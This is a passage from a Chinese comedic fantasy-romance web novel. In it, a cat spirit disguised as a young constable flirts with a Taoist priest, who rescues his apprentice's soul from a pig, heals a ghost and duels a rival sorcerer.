恶心的触感突然打散了他的思绪。 脸红得能滴血的林九,来到水缸前,洗手的同时,顺便给自己降降温。 静之见他居然用起了物理防御,于是咬咬牙,发起了大招。 她坐了下来,背着树,面对着他们,下巴微微仰起45角,看着湛蓝的天空,开始搞起了青春疼痛文学。 她的声音轻得仿佛一阵清风,林九却依旧竖着红到透明的耳朵听着。 “林兄,我这一生遇到了很多人,他们如同指尖的烟火,忽明忽暗,又稍纵即逝,最终只能沦为一抹烟灰,被风吹走。” “而我,茕茕孑立,孤身一人行走在这个世界上,宛如一缕无根的清风。” “而你,如同北斗,闪耀了我灰暗的内心,也如摇动的树叶,证明我曾经来过这里。” “林兄 ,你对我而言,是独一无二的。” 水瓢哐当一声,又回归了土地的怀抱。 林九的裤腿也被溅湿了。 他同样无暇理会,只是抬头看着在阳光中,她明明灭灭的侧脸。 她这是……对他掏心掏肺,说心里话了? 她对他这般信任,他怎可滋生出那样的想法。 刚刚前面说的那几句,他可以当做玩笑话听听,后面这段掏心窝子的话,他却怎么也忽视不了。 林九的心纠结万分,又疼又胀。 最终还是捏紧拳头,缓缓闭上眼睛。 不过几秒,睁眼看她,眼里已是一片清明。 只有深入手心的指甲暴露出了他的情绪。 “林弟,既然如此,七月十八,你我……不见不散。” 静之:喵喵喵??? 是不是哪里不太对劲儿?? 怎么又说回这个了。 她的表情微微一僵,却被林九抓了个正着。 他手心缓缓放松,她…对他也有一点意思,所以不想结拜的吧? 作为长者,他更应该扶正她的人生走向,而不是将她拖入深渊。 拳头猛地又攥紧,林九下定了决心。 林弟,对不住了,你对我的这份情,为兄,会牢记于心。 看着脸色平淡下去,甚至又坐下来开始剪纸的林九,静之怒极反笑。 好好好,盔甲这么厚,完全打不动是不是。 那就尝尝我这招连环炮! 旁边的小海翘着二郎腿,看似剪纸,其实非常想嗑瓜子,耳朵竖得比他师父还尖。 这会儿看着消失在树上的静之,他还觉得有些可惜。 突然,哒哒哒踩梯子的声音响起。 一个脑袋从围墙上方升起。 静之拿着她的望远镜死死锁定林九,一张巧嘴开始不停输出: “阿九,我想住进你的心里,没有邻居的那种!” “请你认真像风学学,怎么往我怀里钻!” “怎么样才能快速得到你?甜言蜜语?还是画着八卦的麻袋?” “噗!”小海憋不住了。 这句好。 他默默拿出小本本,开始记下这些好词好句,以后等他找媳妇的时候,说不定能用上呢? 林九红着耳根子,默默看了她一眼。 “七月十八。” 她不甘示弱: “你昨晚打的不是我的脸,你打动了我的心!” 林九:“七月十八。” 静之气势磅礴:“你点燃了我心里的火,你猜是什么火?是林九没有你我怎么活!” 林九:“七月十八!” 静之气势锐减:“我身体很好,可以扛米袋子,就是扛不住想你。” 林九:“七月十八。” 静之心如死灰:“我有两个心愿,一个是在你身边,一个是你在身边。” 林九:“……七月十八。” 林九犹豫了一下。 不得不说,这句话,悄然打动了他的心。 静之:“林兄,我……” 林九突然又支楞起来了,抢先一步说:“七月十八!” 静之被他一打断,脑子里突然一片空白。 不是,大哥你露头就秒啊,一点都不讲武德。 “我想说……” “七月。” “我想……” “十八。” “我……” “七!!” “嘤……” 露出的头渐渐缩了回去,不一会儿,传来她搬走梯子的声音。 小海笔杆子一停,有些遗憾的看着手里的“名言警句”。 唉,他师父干嘛呢,嘴这么快干嘛哦。 他觉得他再多写点就能装订成册,拿出去卖了嗷。 “师父,我看她好像喜欢……” “住嘴!”林九冷着脸怒斥,他转回头,认真的看着手里的剪刀。 咔嚓一声,剪掉了无用的纸张边缘。 “以后,不许再提这两个字。” 林弟,对不起。 我不得不这样。 你的红绳,终究不应该栓在我这里。 为兄,帮你剪掉了。 别恨我。 算了,你恨我吧。 毕竟,恨比爱长久。 第216章 你到底是谁 看着遍地恶心的蟑螂,林九暗自猜测晚上那法师可能会出来闹事。 准备好一切以后,他缓缓舒了口气躺到床上,打算下午补补觉,晚上才有精神对敌。 夏日的午后,有股清风轻轻吹拂在身旁,是非常幸福且消暑的事儿。 然后林九却觉得不太对劲儿。 他的后窗,什么时候开了? 他侧过脸一看,却被一道折射的光线闪得睁不开眼。 林九微微眯起眼睛,往后窗看去。 看清是谁时,他松了口气,却又叹了口气。 林弟这会儿又要搞什么鬼? 静之趴在墙头,跟狗仔似的,依旧拿着她那个望远镜,对着他的方向孜孜不倦的看。 “我会一直,永远,看着你。” 林九叹了口气,背过身子,微微蜷着脚,闭上眼睛。 “嗦……嗦……” 林九一回头,墙上的人不见了。 他刚松了口气,就差点被他窗外那个白色的头吓一跳。 静之把下巴怼在窗框上,手中的焦圈放到最大,径直怼向林九的后脑勺。 “盯。” 林九皱了皱眉,撩过被子紧紧裹住自己,被子一角还顺带盖住了自己的后脑勺。 身后窸窸窣窣的声音响起,床轻轻摇晃了一下。 这臭小子,怎么这么胡来? 连他的床都敢乱爬。 脱鞋了没有? 林九实在忍不住了,他转过头,刚想跟身后的她说话。 却发现望远镜近得差点都要怼到他鼻尖了。 而她则半跪蹲在他的床头,姿势比专业的狗仔还标准。 林九被子下的手微微一顿,然后伸出来围住望远镜的两个口子。 他耐着性子问: “林弟,你到底想干什么?” 静之卡巴两下眼睛: “没干什么,看看你而已。不让说,还不让看吗?” “……” 他揉了揉眉心,气叹到停不下来。 “你要是记恨我昨晚的事儿,你打回来吧,这回我不还手,真的。” 林九闭上眼睛,把脸伸了过去。 静之看着那张脸上紧紧皱着的眉头,怎么看怎么不顺眼。 伸出手指给他用力揉散。 “你干什么?”他倏然睁眼,看向她的眼神里满是克制和忍耐。 “没什么。”静之揉不散那道褶皱,不禁抿了抿嘴。 她松开手,从身后掏出个东西递过去。 “送给你。” 看着手里的东西,林九的表情非常复杂。 “这……是我?” “是。”她摸了摸后脑勺,有些心虚的说,“是不是很像。” “弯腰呕吐的我?” “那什么……水加多了,你本来是直的,后来弯了。” “我改了改造型,像不像我第一次见到的你?” “看,那根小桃木剑可以撑住你的手,让你不至于弯到地上去,我聪明吧!” 林九拖着底盘,实在不知道怎么评价这个泥雕好。 他说她刚刚在树上好像一直在捏着什么,原来是对照他的样子捏了一个小小的他。 像是像,但他就是开心不起来。 有一种被损友拍了丑照还保存下来,当着他的面嘲笑他的感觉。 “不喜欢啊?” 静之捏着手,盘腿坐在他旁边,有些忐忑。 “……” 林九张了张嘴,还是没有回答。 这东西,他实在没办法违心说喜欢。 她垂着头,有些丧气的说: “对不起,我很久没做了,一时手生。” “这个给我,我重新给你捏一个。” 边说着,她伸手就要去抢他手里的东西。 “不用了。” 林九两手托着往上举,静之哎呦一声,失手一滑,直接扑倒在他胸口。 两人猝不及防,四目相对。 他可以明明白白看清楚她的眼里的惊讶和歉意。 空气一时静谧。 这不足五公分的距离,甚至可以让他感觉到她浅浅的呼吸。 林九有些不自在的挪了挪身体,他故意粗着嗓子,严肃说道: “起来,两个大男人贴这么近干什么,热死了。” 静之睫羽微微颤动了一下,红润的唇瓣有些发干,她下意识舔了一下润润。 眼里的歉意顿失,浮上来的,是对他的爱恋和渴望。 如此近距离的看到她眼中明显的情绪,林九一下怔在床上,竟忘了推开她。 并眼睁睁的看着她越靠越近,任由微微湿润的气息打在他的脸上。 她,她要干什么? 她要……亲他吗? 兄弟之间 怎可如此? 可林九不知为何,竟做不出一点推开她的举动。 明明…那雕塑已经落到他枕头上方了。 明明……他的双手是自由的。 林九,你到底在渴望什么…… 静之看着莫名闭上眼睛,眼珠子在眼皮底下不安乱动着的林九。 突然嘴角一勾,伸出两指轻轻贴一下他的唇,又拍一下他的脸,轻声调侃道: “怎么?真以为我爱上你,要亲你啦?” “打~到~你~喽~,笨~蛋~林~兄~” …… 宛如来去无踪的一缕清风,林九一睁眼,只看到她的白色衣摆消失在外面墙头。 屋里还有她的幽香,唇上还有她指尖的温度。 床头还有他呕吐的雕像。 林九这一下午,终于是没办法睡着了。 果然,做坏事,是会遭报应的。 算她狠,居然敢玩弄他的心! 林九双手高高举起雕像,然后轻轻放下。 指腹间仿佛触到有些凹凸不平的感觉。 他重新举高,抬头朝上一看。 【青青子衿,悠悠我心】 林九瞳孔一缩,手一软差点真的把雕像砸了。 仿佛来自埋藏已久的记忆里,这句话,让他感到莫名的熟悉。 “青青子衿,悠悠我心。” “青青……卿卿……” 林九摁住突然一揪的太阳穴,咬牙忍耐疼痛过去。 脑子里的那个人仿佛被大雾笼罩着,令他看不清脸。 “……唔……你到底是谁……” 好几天没这种感觉了。 为何今天又会这样…… …… 回到小院里的静之表示,这还只是b计划里的一小截呢。 林九,她可是记仇的很呢~ 可千万要撑住了呦。 第217章 帮你相看个姑娘 太阳渐渐消失在地平线上,无尽的黑暗笼罩住了这个表面祥和的小镇。 大街上人流量开始慢慢变少,又到了牛马静之该上班的时候了。 此时寂静的街上却响起阵阵铃声。 “肥宝肥宝,你的魂快回来!” 她看着一师一徒穿着道袍,背着招魂幡的模样,不知为何,脑子里突然就出现了林九上辈子招魂的场景。 这辈子的他倒是挺正经的,没有再那样扭了呢。 身后传来脚步声,林九回头,有些无语的对小海讲: “你跟着我干什么?” 干什么,当然是看戏。 不过小海不敢说出来,只是默默把眼神挪到静之身上。 林九的眼神跟着落到静之脸上,“你也是,你不用巡街的吗?跟着我干什么?” 静之抱着刀环胸,脚点了点地,“这不就在街上吗?这块儿是我的地盘,我爱往哪儿走,就往哪儿走。” 嘴上一套说辞,心里又是另一套想法。 她也隐隐有感觉,今晚可能会出事。 那个法师一看损招就很多,要不是怕他出意外,她才不跟呢。 林九被她说得无语凝噎,只能转头瞪向偷笑的小海,“还不走?分头行动。” “哦。” 唉,没戏看喽。 小海癫了癫背篓,转身朝相反的方向走去。 招魂声越飘越远,在越发寂静的夜里显得有些诡异。 怕惹事的街坊邻居归家的归家,锁门的锁门,就怕鬼跑到他们家去了。 原本刚刚还有几个人的路上,现在就剩下静之和林九两个并排走着。 凉风习习,吹得一下午没睡的林九精神一震,脑子里突然想起了一个问题。 “你今天早上是在哪里找到阿宝的?” 静之脚步一顿,“你找我问路啊?” “……” 林九莫名就想起她今早问的第一个问题——通往你心里的路怎么走? 他抿了抿唇,伸手轻轻敲了下她的脑袋,“林弟,现在不是贫嘴的时候,再不快点,我怕阿宝的魂会被他拿去做坏事。” “痛!”她捂着头,可怜兮兮看着他。 林九不为所动,接着往前走,“我使的力道我知道。” 静之抬脚跟上,手换了个位置,挪到了胸口,“心上人打我,就算再小力,我也心痛。” 【心上人。】 林九手中的铃差点被他捏碎。 心里头又是一片翻江倒海,脸上的表情却什么都看不出来。 他又伸手敲她一下。 “不说的话,就别跟着我。” “还有,莫再这般。你该……回归正道了。” 静之缓缓放下手,“什么是正道?” “林兄降妖除魔,匡扶正义,喜欢你就不算正道吗?” 林九突然有些狼狈的别过脸。 乍一听到她说“喜欢”二字,林九差点被整到破防。 “你,你也到了该成家的年纪了,有房有差事,想来是挺好找对象的。” “若是有这方面的想法,我找张媒婆为你相看个合适的姑娘。” 原本只是想逗他玩玩,突然听到这句话,静之心里还是直发堵。 她一脚踹飞路上的小石子,有些闷闷不乐的说: “上次你带我去的如意楼,就在他家后厨外头,有个养猪栏旁边。” “……” 话题转得太快,林九看着那颗飞得远远的石子愣了一下,才反应过来她说的是今早找到阿宝的位置。 “……谢谢。” 静之咬了下唇瓣,说什么谢谢,她想听的才不是这句话。 “你……” 刚一抬头,就看到林九步履匆匆,直奔如意楼。 “诶你等等我嘛!” …… 五分钟后,静之看着他怀里的粉嫩小猪仔,有些迟疑。 “你是说,阿宝的魂在里面?” “嗯,你帮我把小海叫回来,我先回去。”林九抱着猪一转身就往道观走去。 有这种能让人离魂,且把魂打入猪身上的手段,看来那法师实在不容小觑。 林九的脸阴沉如墨,静之这下也不敢耽搁了,转身朝着远处不时响起摇铃声的方向跑去。 …… “小海!别摇了!你师父找到了!” 小海停手回头,就看到静之一个急刹车停到他身边。 还没问她怎么找到的,就看到了几个老熟人迎面走来。 “朱老爷,我说谎干什么,阿宝就是傻了呗,我亲眼所见,还能有假?” “我不信,宝哥他明明好好的!”小珠用力拂开史公子的咸猪手,绕到她爹另外一边。 朱老爷迎人就露三分笑,这人是有讲究的,得是富人。 他笑着对史公子说:“去看看就知道了嘛,他要是真傻了,我家珠珠是万万不可能嫁给他的。” …… “你们两个这是?” 静之朝朱老爷一拱手,“我巡街,他嘛,你也懂的,道士的徒弟,当然也是道士,做做法,抓抓恶~鬼~,家常便饭嘛。” 史公子听到她意有所指的恶鬼两字,莫名觉得后脖子凉凉的。 但转念一想他刚刚看到的傻宝,嘴角又忍不住勾起一抹坏笑。 法师应该得手了吧? 这回美人终于是他的了。 阿宝有捕快撑腰又怎么样,威大人可是站在他这边的! 想到这儿,史公子的腰杆又直了起来。 他颐指气使,指着静之的鼻头开始赶人: “巡你的街去,这儿没你事。” 静之微微挑眉,拿着冰凉的刀鞘压下他的手指,嘴角是一抹冰冷的笑意。 她突然说:“蟑螂。” 史公子莫名抖了一下。 静之眼神渐渐暗了下来。 她就知道,肯定是这货跟那个老头搞的鬼。 玩什么不好,玩虫子。 不对,那老头可一直跟着这家伙的。 难道,阿宝出了什么意外? … 史公子被静之仿佛要看穿他灵魂的眼神看得一阵心虚,“什么蟑螂,哪有蟑螂?” “走!” 静之没理他,扯着小海就往道观跑。 希望林九来得及吧。 “喂,我要告你!我要去衙门告你玩忽职守!” 史公子还在身后咋咋呼呼的,突然一只蟑螂疾射而来,径直落入他大张着的嘴里。 “你……咳咳,yue~~” …… 静之刚一来到道观门口,就看到林九背对着她,不知为何突然洒出一把符纸。 一阵噼里啪啦的声音响起,空气中突然多了股难闻的味道。 她还没看清状况,史公子就带着朱家父女赶到了。 “朱老爷你快瞧瞧,阿宝真的傻了。” 静之突然在他耳边凉凉说了句: “蟑~螂~好吃吗?” “你!yue~~~~” 史公子扶着柱子吐到起不来,她嫌弃的疾走两步来到林九身旁。 却看到更令人鸡皮疙瘩掉一地的一幕。 阿宝身上都是灰尘,还有着十几只不知道哪儿来的蛭趴在他身上和脸上。 而他又变成了今早的样子,只会说惊惊,怕怕。 “宝哥!” 小珠看到阿宝这样子,心痛得厉害,冲上前去,尽管她也怕蛭,但还是伸手一一捏住帮他扒下来。 那个老头果然在这里,正与林九对峙着。 “朱老爷,这阿宝分明已经傻了,但是有人竟让女鬼上他的身,你快去看看吧。” 老头一脸嘚瑟和肆无忌惮。 徒弟被害成这样儿,林九纵使心中怒火滔天,也明白抓贼要抓赃的道理。 这会儿没有证据,他也奈何不了这个小人。 他冷冷瞥一眼法师,嘲讽道: “阿宝之所以变成这样,是因为有人把他的魂吓出来了,那个人使出这种不入流的手段,实在阴险!” 法师脸上的得意尽失。 看着林九的眼神里满是阴毒。 他冷笑一声,指向被打到侧院地上的小红,对朱老爷说: “看,这就是那个女鬼。” 朱老爷只看了一眼,就被小红快半透明的魂体吓了个半死。 “小珠,我们回去!” “爹!” 朱老爷急得过去拉自己的女儿,看到痴傻的阿宝又是狠狠皱眉。 “他都这样了,我不同意!这桩婚事作罢,跟我回去,以后不要再来了。” “朱老爷稍安勿躁。”林九抱着猪走了过来,“阿宝的魂在这里。” 第218章 天道好轮回 林九从口袋里拿出一捧红色朱砂,涂在小猪的头至背上。 顷刻间,粉粉的小猪身上便显现了一个灰色的影子。 “接下来该怎么办?”静之问。 林九眼底闪过一抹厉色,“把阿宝扶过来,与它嘴对嘴,把魂导过去。” 与猪对嘴,不仅是打阿宝的脸,也是打他林九的脸。 这还是第一次他的徒弟被整成这样子,这个仇,他林九一定要报。 “……好。” 见到老实的阿宝不得不以这样的方式,才能回归理智,静之同样心存不忍。 难道真的是报应吗? 上辈子宝华叔脾气暴躁了一辈子,这辈子变得这么老实,才会被人如此对待。 “师父,醒了醒了。”小海看他师兄睁开眼了,笑得兴高采烈。 “你们!”阿宝眼睛刚刚睁开,就对上了史公子二人,脸上的愤怒表情还未成型,便头一歪,嘎了过去。 “诶诶诶,晕了晕了!”小海慌得赶忙抱住瘫软下去的阿宝,扶他坐在椅子上,“师父,他怎么这样了?” 林九:“明天天一亮,他就醒了。” “既然他没事,那我们就先走一步了。” 法师扯着还在干呕的史公子,步步后撤。 “还不走!小心我放狗咬你!”静之朝他呲了呲牙。 两个坏人走后,林九收回眼神,来到阿宝身后。 “按他太阳穴的同时,掐他的人中,再拍一下他的头顶,他就醒了。” 林九边说边做,手轻轻那么一拍。 静之眼睁睁的看着嘎过去的阿宝眼睛又睁开了。 “嘿嘿嘿。”阿宝头一歪,又晕了。 “林兄,怎么会这样,不会出问题了吧?”静之有些担心。 “没事,小海,你一直摁,他魂魄刚入体,多摁一会儿,他就好了。” 阿宝还是小问题,他看小红才是真的出大问题了。 看着小海渐渐上手,他赶紧引着小红的魂来到屋内床上。 小红脸色本就苍白,这会儿更是白得透明。 原本凝实的身形,被打得有些溃散,竟是落不了地,整个身体慢慢的从床上飘了起来。 林九惊呼一声,赶紧双手结出法印,稳住她的魂体。 “道长,我女儿怎么样了?”听到林九那声惊呼,老太太也是心里一个咯噔,一颗心悬到了嗓子眼儿。 刚刚她女儿被那个坏人追得满屋子打的惨叫,她还是能够听到的。 林九面色凝重,忍不住叹一声,“实不相瞒,小红她……只剩下半条鬼命了,若是就这么放任下去,恐怕…会魂飞魄散。” “啊?”老太太捂着揪痛的胸口,痛哭出声,“小红,我可怜的女儿啊……” “妈……”小红声音虚得像缕抓不住的风,清泪滑落,满眼皆是不舍,“是女儿不孝,没办法给您养老了。” “喂!”静之皱着眉,一脚踩到林九脚背上,她压低声音埋怨道: “你怎么老这么直,就不能委婉一点吗?” 林九转头看着她,一脸认真的说:“我林九只说事实。” “……我有个办法。”静之咬着唇说。 “啊?林捕快你快说。”老太太含着泪,摸索着紧紧揪住她的袖子,仿佛抓住了最后一根稻草。 “人属阳,鬼属阴,给她度点阳气过去,可能会好点。” 上辈子跟在林九身边,她也没少看林九解决这种事儿,还是多少有学会一些的。 “我,我可以。”老太太擦干眼泪,站了出来。 “不行,虽然这也是个法子,但是会折寿的。” 林九记仇的轻轻踢了下她的脚边边。 他当然也知道这个方法。 但他更懂人心,大部分的父母都愿为自己的孩子付出生命。 刚刚他没说,不过是怕老太太硬要以病弱之躯救她女儿罢了。 不过,林弟怎也会懂这些? “我来,我年轻。”作为寿命长达几千年的灵猫,她比起在场的所有人都长寿。 而且小金说过了,她的血肉跟灵气对这些阴邪之物来说,是补品,大补。 所以,由她来做这事儿,再合适不过了。 静之轻轻推开老太太的手,把垂到身前的银发拨到后头去,然后对着小红苍白的唇慢慢俯下身去。 如今上哪儿找劳什子中通的竹杆去,左右都是女生,她也不拘泥于这些了。 “等等!” 林九伸手挡在一人一鬼即将接触的唇中间。 一冷一热的触感,同时从手心和手背传来。 林九跟触电似的,唰的一下,把手收了回去。 “嘴对嘴,会把你吸干的。” “不会。”小红一个初出茅庐的女鬼,想要吸干她,还早得很呢。 “会!”长相精致的一 男一女亲近,本应是赏心悦目的一幕。 奈何林九就是觉得万分碍眼。 “不会,我心里有数的。”静之瞪了他一眼,这人干什么呢,小红虚得吹口气都能飘走了。 林九:明明林弟舍己为人,他作为兄长,应该为她良好的品德开心的。 但他就是开心不起来…… 林九这时突然想起,刚刚他说要给静之找对象的事儿。 以后,她会如同这般,跟其他女人卿卿我我,甚至做一些更亲密的事儿。 林九心里闷痛不已,他别过脸固执的说: “我说会就是会,你们掌心对掌心吧。” 他说得如此笃定,静之将信将疑看了他一眼。 “……算了,掌心对掌心就掌心对掌心。” 她脱了鞋,放下佩刀,爬到床上扶起小红,与她掌对掌,开始给她度起了阳气。 她的手指纤长白皙,此时与小红的手心紧紧相贴,毫无一丝缝隙。 林九觉得一幕万分刺眼,捏着拳头,快步走了出去。 “我出去摆个阵,小海你看着她们,有什么异常你叫我。” “哦。” …… 林九出来的时候,就看到阿宝坐在椅子上,脸色有些苍白,但是精神却是好多了。 “你怎么样?” “我没事,小红没事吧?” 林九僵硬的扯了一下嘴角,边布阵边说:“能有什么事,有个人硬要救她。” 见林九脸色不太对,阿宝也不敢多问。 这么好心的,他想也只有林兄弟一个了吧。 “师父,要不要我帮忙?” 林九瞥了他一眼,淡淡的说: “你过来,坐进这个圈里,没事不要出来。” 阿宝看着地上摆成一圈的长明灯,以及最中间的八卦图,他问: “我不是好了吗?坐进去干什么?” 林九白了他一眼,“你以为坏人跟你一样没有心眼吗?还不快坐进去!” “哦哦哦。” …… “师父,师父!”小海从侧屋冲了出来,脸上是慌张,眼里却满是吃瓜的色彩,“师父,对上了!” 林九心里一个咯噔,眉头立马皱成个川字,“……什么对上了?” 小海咽了口唾沫,回头看了一眼,然后对着林九渐渐黑下来的脸,刚刚有些拔高的声音越来越小: “嘴,嘴对上了,分都分不开。” 第219章 气炸的林九 他就知道,他就知道会这样! 林九三步并作两步,放下手中的香,追了进去。 一进门就看到令他醋得七窍生烟的一幕。 静之果真与小红对上嘴了,还贴得死紧,毫无一丝缝隙。 一股怒火轰的一声,从胸腔喷起。 宛如抓奸的老公,他紧抿着唇,冲过去把住两人的脑门用力往后一掰。 “嗷~~” “林兄轻点,脖子要被你掰折了。” 林九胸口不断起伏着,紧紧攥着的拳头微微颤抖着。 一腔怒气和醋意又不能直接与她诉说,只能化作一声气哼,和一句冷冷的怒斥: “你干什么?!不是说过不能嘴对嘴了吗?!” 静之有些无措,她低估了小红鬼力的亏空程度,和自己对她的吸引力。 “林兄,不是我,唉,她,她就这样吸,吸过来了。” 他狠狠闭上眼,强迫自己不去看她有些红肿的嘴唇。 林九心知现在更重要的事儿还没解决,只能先放一放个人情感。 于是冷冷说了句“控制好自己”,就走了出去。 “什么嘛……我又不是故意……” 话还没说完,就在这一瞬间,静之怔住了。 她突然能够体会上辈子林九的心情。 明明他不是故意的,她当时不仅直接跑路了,还跟他冷战。 唉,也算是遭上报应了。 …… “师父……” 阿宝欲言又止,在圈里盘腿坐了一会儿,就跟屁股长刺了似的,左歪右扭。 林九四平八稳,背对着他坐在正前方,眼角余光却时不时瞄向侧房。 “有什么话就说,别吞吞吐吐的。” 阿宝讪笑一声,“我想嗯嗯。” “啧。”林九紧了紧手里的桃木剑,眉头一拧,“还不赶紧去!胖子屎尿多。” “师父!师父!又对上啦!” 小海伸了个头出来,还没八卦到他师父的表情是什么样儿的,一股疾风就直接把他扇得东倒西歪。 他好不容易稳好身子,回头一看。 好家伙。 他师父这回眼睛都气红了。 但是却怎么也掰不开静之跟小红了。 因为一掰静之就呼痛。 仿佛粘了502似的,他一用力,小红就直接往静之身上倒去。 林九气劲儿上头,死死固定住静之的头,一脚蹬到小红的肩膀上,想用力把一人一鬼分开。 “唔唔唔……” 静之无辜的微微摇头,抬眼看他,嘴里不住的发出唔唔的声音,眼里全是慌张和不知名的歉意。 林九只看了一眼,便用力抿紧嘴巴,接着掰,他就不信这个邪了。 “还不来帮忙?!”他朝小海喊。 看戏的小海意犹未尽的哦哦两声,赶紧过去扯小红。 “师父!救命啊!”外面突然传来阿宝惊慌失措的叫声。 此时的里屋,情况同样焦灼。 小红的脸肉眼可见,泛起了红润的色彩。 静之的脸却开始微微泛白。 林九心里的醋意有几分转化为了担忧。 再不快点,他的林弟不至于无了,但可能会变虚。 林九咬着牙朝外面大声喊: “我是在救命啊,你要是拉不出来,就喝点香油吧!” 外面传来阵阵叮铃哐当的声音,林九无暇理会。 好不容易把贴在一起的静之和小红撕开,三个人都气喘吁吁的。 静之不是别的,是被吸得都快缺氧了,而林九跟小海则是用力过猛,累的。 “林兄,我不是……” “别说了,我看她好得差不多了,不用你再渡阳气给她,鬼也讲究阴阳调和,阳气太多对她也不好。” 他观察了一下静之的脸色,发现她又慢慢恢复红润,这才放心下来。 “你……不生气啊?”静之有些惊讶,更多的是失落。 不气的话,他应该还没喜欢上她吧。 她悄悄握了握拳头。 林静之,你可以的!加油加油加油! 林九视线下移,看着她宛如被拔罐了的嘴,哪里不气,心里已经变成一片醋海汪洋了。 他突然扯着嘴角冷冷笑一下: “林弟宁愿折寿也要这般救她,看来对她并非无意。” “啊???” 静之急了。 突然,她又想起上辈子林九被误会后的做法。 他说过的,解释太多没有用处,他确实也用具体行动表明了他的心意。 远离女人的行动,甚至延伸到这一世了。 那她,又该怎么做,才能让他消气呢? 见她低着头不知道在想什么,林九的心越来越沉。 他甚至在想,他发现的那条肚兜,不会是小红的吧? 所以那天他才能感知到与小红身上一样的鬼气。 所以,她们两个已经…… 小海看看林九,又看看静之。 怎么都不说话了? 他缓缓翘起二郎腿。 不过,这种修罗场真是上头的很,他爱看。 …… 一阵慌乱沉重的脚步声,朝着他们这个屋子的方向极速接近中。 “哚!!” 一把菜刀深深砍进木门里。 门口的阿宝一手摁住朱老板的手腕,以防他拔出菜刀,一手用力捧着他的下巴往外推。 “师父救命啊!我未来岳父疯了!他拿刀砍我!” 林九抬头一看,却看到朱老板双目赤红,大张的嘴舌苔隐隐发黑,两眼直冒凶光,一看就失去理智了。 他强压下满心的苦闷,跟停止吃瓜的小海上前一起制住朱老板,并把他拖了出去。 “恩人,您又救了我一次,您的大恩大德,我无以回报,唯有以……” 屋外突然传来林九再也压不住的怒吼: “林静之,你给我出来!!” 静之浑身一抖,挠了挠脸,有些尴尬的说:“你歇会儿吧,这些事以后再说,我……” 小红突然捂着唇,娇羞的轻轻一笑。 “恩人,你的嘴……” “嘴?嘴怎么了?” 林九:“还不出来!!!!” “来了来了。这么急干什么哦?” 静之翻身下床,穿鞋拿刀,只用了5秒,就出了门。 谁叫他连名带姓的叫她,吓死猫了。 奈何林九还是不满意。 他用力剜了她一眼,然后递过来一个杯子。 静之接过一看,是杯凉掉的清茶。 “干什么?” “你说干什么?” “行行行,我懂,我懂!洗洗洗,我现在就洗。” 她有些无语,端着茶就到廊边洗嘴。 心里却在默默偷着乐。 他这么着急,多少还是有些在意她吧? 第220章 隔空斗法 朱老爷被林九定住,停止了行动,整个身子却不住抽搐着,头也一歪一歪的。 虽然他平时对阿宝不咋地,但是阿宝他善。 阿宝的眼里还是流露出了几分担忧。 ”师父啊, 我岳父这是怎么了,难道是中邪了?” 阿宝跟林九学了十几年道法,除了中邪,他实在想不到还能有什么情况能把他岳父变成现在这副鬼样子。 “不是,我看他是中了降头。” 静之端着空杯子过来放下,一脸疑惑,“降头,降头不是南洋的吗?” “是啊。”林九抬头,眼里同样有着惊讶,“林弟对这方面也有研究?” “不是啦,略有耳闻而已。” 静之挠了挠头,她觉得她嘴里的南洋,可能跟林九理解的不太一样。 林九见她的嘴在凉茶的作用下渐渐消肿,心里的气去了一点,他转头对阿宝说: “对方出招了,你跟你岳父躲到祭坛底下去,小海,快去帮忙。” “那我呢?”静之举手。 “你到一边儿歇会儿吧,被吸了这么多阳气,你不虚得慌吗?” 林九拿起桃木剑,挑起一张黄纸点燃。 想了想,他又朝祭坛右边的静之补充一句: “从明天开始,你早点起,尽量在户外活动,每天务必晒足3个时辰的太阳。” “哦。”静之心不在焉问着,眼里却紧紧盯着桃木剑上燃烧着的纸,“你这是干嘛?” “下战书,双方斗法,生死不论。”小海把头伸出一看,多嘴插了一句。 刚跟静之解释完,他就忍不住小声嘀咕: “看来师父这回是真生气了,这玩意,我也就听说过,还从来没见过呢。” 院内大门紧闭,祭坛设在天井处。 明明无风,战书烧完的灰烬却卷席着吹向西方。 “林兄,这难道……敌人在西边?” “不错。”林九拿起一大把香点燃。 身随意动,道袍舞动间带出的风,拂去香灰,香的头部如同聚集在一起的萤火虫,在黑暗中闪闪发亮。 随着他行云流水的施法动作,那一点一点闪烁的微光连成一片,仿佛一道火龙在空中飞舞着。 静之彻底挪不开眼,眼皮都舍不得眨一下,只觉得林九这辈子施法依旧帅得惊人。 林九耳根子渐渐泛起一丝红意。 他虽然专注做着法,但是那道灼热的视线如影随形,紧紧黏在他的脸上,他忍不住轻咳了一声。 “咋,香点多了,烟呛到你了?” “……” 林九一噎,忍不住睨她一眼。 怎么办? 林弟是根大木头。 耳尖的那抹红色,随着她这句煞风景的话,消失得干干净净。 他停下动作,右手用力一击左手手中捏着的香脚部位。 星星点点的火光随着震动,飘向祭台前方。 一息时间都不到,火光消失的干干净净。 静之跨出一步看,地上一点香灰也无,她上辈子没见过林九使这招,忍不住疑惑问道: “飘哪儿去了?” 林九把香插到面前的香炉里,神神秘秘的说: “自然是飘到该去的地方。” 刚刚不过是一点试探。 林九轻轻推开伸到他面前的精致脸蛋,两眼紧盯祭坛前的虚空严阵以待。 “别靠太近,他要出招了。” “……谁?” 话音刚落,祭坛前突然凭空撒过来两把白色粉末。 “这什么?” “下蛊用的骨粉,快躲开!”林九眉目一凝,立马执起两颗鸡蛋捏碎丢了过去。 “滋滋~” 骨粉受到粘连迅速变黑,落到地上,滋滋作响。 鸡蛋属阳,看来这骨粉也是阴毒至极。 这也是对方对他的试探。 林九看了一眼西方,眉头突然一压,剑指直指右侧的长明灯。 长明灯忽明忽暗,林九的脸在灯光中明明灭灭,脸上的严肃暴露无疑,气氛一下变得焦灼。 静之再不敢插话,抱着刀乖乖站在一边,为他护法。 不过几次,天空竟随着林九法力的运行,开始一闪一闪的。 时机已到。 林九收回剑指,重新打了个法印,闭上眼睛嘴里念念有词。 来吧! 让我看看你的真面目。 咒毕。 他倏然睁眼,前方虚空突然出现了一个半透明的身像。 藏蓝色的袍子,彩色的花边,仿佛被屁崩了的白色卷毛,好认得很。 那人正是史公子身边的法师。 静之咬着牙,唰的一下,把刀拔出来,步步逼近。 你这老小子,我就知道是你。 “别过去!” 林九跳出祭坛,飞身至天井位置的大香炉里,与他隔空斗起了法。 两人打得难舍难分,火光四溅,静之围着香炉转,一时竟插不上手。 突然,那法师做了一个向下投掷的动作,林九家的香炉瞬间就炸了。 香灰炸到空中挡住了视线,眼前失去他的踪迹,静之心跳霎时漏了一拍。 “阿九!!” 法师桀骜放肆笑了出来,还没等他得意多久,白色烟雾里一道劲瘦的身影拔地而起。 